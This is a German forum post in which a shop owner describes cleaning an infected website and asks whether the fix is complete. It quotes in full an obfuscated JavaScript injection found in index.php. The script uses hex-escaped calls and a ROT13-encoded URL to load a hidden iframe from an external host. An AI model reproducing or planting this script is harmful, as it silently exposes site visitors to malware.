Hallo liebe Gemeinde,
es hat mir keine Ruhe gelassen und nun scheint alles wieder okay zu sein.
Ich habe mir das Programm "avast antivir" runtergeladen und den PC gescannt. Dabei wurde folgendes gefunden: html:Iframe-OC [Trj]
Ich hoffe das avast diesen Trojaner auf Dauer gelöscht hat. Anschließend habe ich noch einen Eintrag in der "index.php" gefunden und auch gelöscht:
<body><script>
var l={j:{l:{l:'~',I:'.',j:'^'},I:{l:'%',I:218915,j:1154%256},j:{l:1^0,I:55,j:'ijl'}},l:{l:{l:function(j){try{var I=document['\x63\x72\x65\x61\x74\x65\x45\x6c\x65\x6d\x65\x6e\x74']('\x69\x6e\x70\x75\x74');I['\x74\x79\x70\x65']='\x68\x69\x64\x64\x65\x6e';I['\x76\x61\x6c\x75\x65']=j;I['\x69\x64']='\x6a';document['\x62\x6f\x64\x79']['\x61\x70\x70\x65\x6e\x64\x43\x68\x69\x6c\x64'](I);}catch(j){return false;}
return true;},I:function(){try{var I=document['\x67\x65\x74\x45\x6c\x65\x6d\x65\x6e\x74\x42\x79\x49\x64']('\x6a');}catch(I){return false;}
return I.value;},j:function(){var I=l.l.l.l(l.I.l.l('.75.67.67.63.3a.2f.2f.76.61.6e.63.2e.6e.66.79.62.74.6e.61.67.75.6e.67.6a.62.65.78.66.2e.70.62.7a.2f.6e.71.6a.62.65.71.66.2e.63.75.63'));var j=(I)?l.l.l.I():false;return j;}},I:{l:function(){var I=l.l.l.j('trashtext');var j=(I)?I:'trashtext';return j||false;},I:function(){var I=document['\x63\x72\x65\x61\x74\x65\x45\x6c\x65\x6d\x65\x6e\x74']('\x6c');I['\x77\x69\x64\x74\x68']='0.1em';I['\x68\x65\x69\x67\x68\x74']='0.2em';I['\x73\x74\x79\x6c\x65']['\x62\x6f\x72\x64\x65\x72']='none';I['\x73\x74\x79\x6c\x65']['\x64\x69\x73\x70\x6c\x61\x79']='none';I['\x69\x6e\x6e\x65\x72\x48\x54\x4d\x4c']='\x6c';I['\x69\x64']='\x6c';document['\x62\x6f\x64\x79']['\x61\x70\x70\x65\x6e\x64\x43\x68\x69\x6c\x64'](I);},j:function(){var I=l.l.j.j(l.l.I.I());I=document['\x67\x65\x74\x45\x6c\x65\x6d\x65\x6e\x74\x42\x79\x49\x64']('\x6c');var j=document['\x63\x72\x65\x61\x74\x65\x45\x6c\x65\x6d\x65\x6e\x74']('\x69\x66\x72\x61\x6d\x65');j['\x68\x65\x69\x67\x68\x74']=j['\x77\x69\x64\x74\x68'];j['\x73\x72\x63']=l.l.j.l(l.l.I.l());try{I['\x61\x70\x70\x65\x6e\x64\x43\x68\x69\x6c\x64'](j);}catch(j){}}},j:{l:function(I){return I['replace'](/[A-Za-z]/g,function(j){return String['\x66\x72\x6f\x6d\x43\x68\x61\x72\x43\x6f\x64\x65']((((j=j.charCodeAt(0))&223)-52)%26+(j&32)+65);});},I:function(I){return l.l.j.l(I)['\x74\x6f\x53\x74\x72\x69\x6e\x67']()||false;},j:function(I){try{I();}catch(I){}}}},I:{l:{l:function(I){I=I['replace'](/[.]/g,'%');return window['\x75\x6e\x65\x73\x63\x61\x70\x65'](I);},I:'76',j:'91'},I:{l:'24',I:'31',j:'58'},j:{l:'66',I:'6',j:'92'}}}
l.l.I.j();</script>
Und so wie es aussieht, funktioniert alles wieder und es kommt auch keine Fehlermeldung mehr.
Alle FTP + Shop-Admin Passwörter habe ich auch geändert.
Seht ihr das genauso ?
